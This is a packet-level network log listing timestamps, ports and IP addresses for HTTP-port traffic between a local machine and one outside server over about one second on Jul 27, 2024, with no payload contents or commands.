Jul 27, 2024 09:25:07.767566919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.767582893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.767606974 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.767617941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.767678976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.767700911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.767716885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.767724037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.767733097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.767746925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.767749071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.767756939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.767760992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.767776966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.767779112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.767790079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.767793894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.767802954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.767810106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.767817974 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.767823935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.767832994 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.767844915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.767864943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.042839050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.042910099 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.042915106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.042947054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.042960882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.042980909 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.042995930 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.043026924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.043034077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.043066978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.043083906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.043101072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.043117046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.043134928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.043152094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.043169022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.043184042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.043200970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.043217897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.043235064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.043250084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.043283939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.043284893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.043322086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.043339968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.043354034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.043370962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.043386936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.043401003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.043418884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.043436050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.043467045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.043468952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.043500900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.043518066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.043534994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.043549061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.043584108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.043587923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.043621063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.043637037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.043653011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.043669939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.043685913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.043701887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.043718100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.043735027 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.043751001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.043766975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.043782949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.043800116 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.043816090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.043832064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.043848038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.043864012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.043879986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.043895006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.043916941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.043930054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.043953896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.043966055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.043987036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.044004917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.044020891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.044035912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.044051886 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.044068098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.044086933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.044101000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.044120073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.044135094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.044152975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.044168949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.044184923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.044200897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.044233084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.044239044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.044270992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.044287920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.044305086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.044318914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.044337034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.044353008 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.044369936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.044385910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.044401884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.044423103 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.044435024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.044446945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.044466972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.044490099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.044517040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.044532061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.044565916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.044600010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.044620991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.044631958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.044660091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.044665098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.044682026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.044698000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.044712067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.044730902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.044744968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.044764042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.044780016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.044800043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.044812918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.044830084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.044851065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.044862986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.044877052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.044898987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.044910908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.044948101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.045005083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.045054913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.045058012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.045088053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.045099974 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.045120955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.045130968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.045154095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.045161963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.045186043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.045198917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.045217991 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.045231104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.045250893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.045263052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.045283079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.045296907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.045315981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.045327902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.045348883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.045361996 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.045382023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.045393944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.045414925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.045432091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.045444012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.045460939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.045475960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.045488119 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.045509100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.045522928 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.045541048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.045555115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.045574903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.045583963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.045609951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.045619965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.045644045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.045658112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.045676947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.045689106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.045711040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.045722961 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.045742989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.045754910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.045777082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.045792103 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.045809031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.045821905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.045841932 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.045854092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.045875072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.045886993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.045907974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.045921087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.045953989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.045957088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.045990944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.046003103 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.046019077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.046029091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.046065092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.046067953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.046102047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.046113968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.046133995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.046148062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.046166897 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.046179056 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.046199083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.046215057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.046231031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.046242952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.046257973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.046278954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.046291113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.046300888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.046323061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.046334982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.046355963 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.046369076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.046387911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.046411037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.046420097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.046452045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.046459913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.046475887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.046493053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.046506882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.046525955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.046538115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.046562910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.046572924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.046595097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.046608925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.046627998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.046639919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.046660900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.046672106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.046689034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.046710014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.046721935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.046732903 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.046766996 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.046941042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.046988010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.046991110 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.047034025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.047035933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.047070026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.047081947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.047102928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.047115088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.047136068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.047147989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.047163963 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.047183037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.047194004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.047210932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.047226906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.047241926 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.047259092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.047271013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.047291994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.047305107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.047324896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.047337055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.047357082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.047369003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.047390938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.047405958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.047424078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.047436953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.047456026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.047471046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.047487974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.047502041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.047521114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.047534943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.047553062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.047564983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.047586918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.047599077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.047622919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.047633886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.047656059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.047667027 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.047688961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.047702074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.047722101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.047736883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.047755003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.047766924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.047785997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.047800064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.047820091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.047832012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.047864914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.047964096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.048005104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.048011065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.048049927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.048053980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.048088074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.048103094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.048120022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.048132896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.048154116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.048167944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.048186064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.048198938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.048218966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.048232079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.048249006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.048263073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.048280954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.048294067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.048309088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.048329115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.048340082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.048350096 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.048372984 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.048386097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.048405886 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.048418045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.048439026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.048449993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.048470974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.048499107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.048517942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.048520088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.048552990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.048573017 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.048588991 CEST	80	49704	85.28.47.31	192.168.2.5
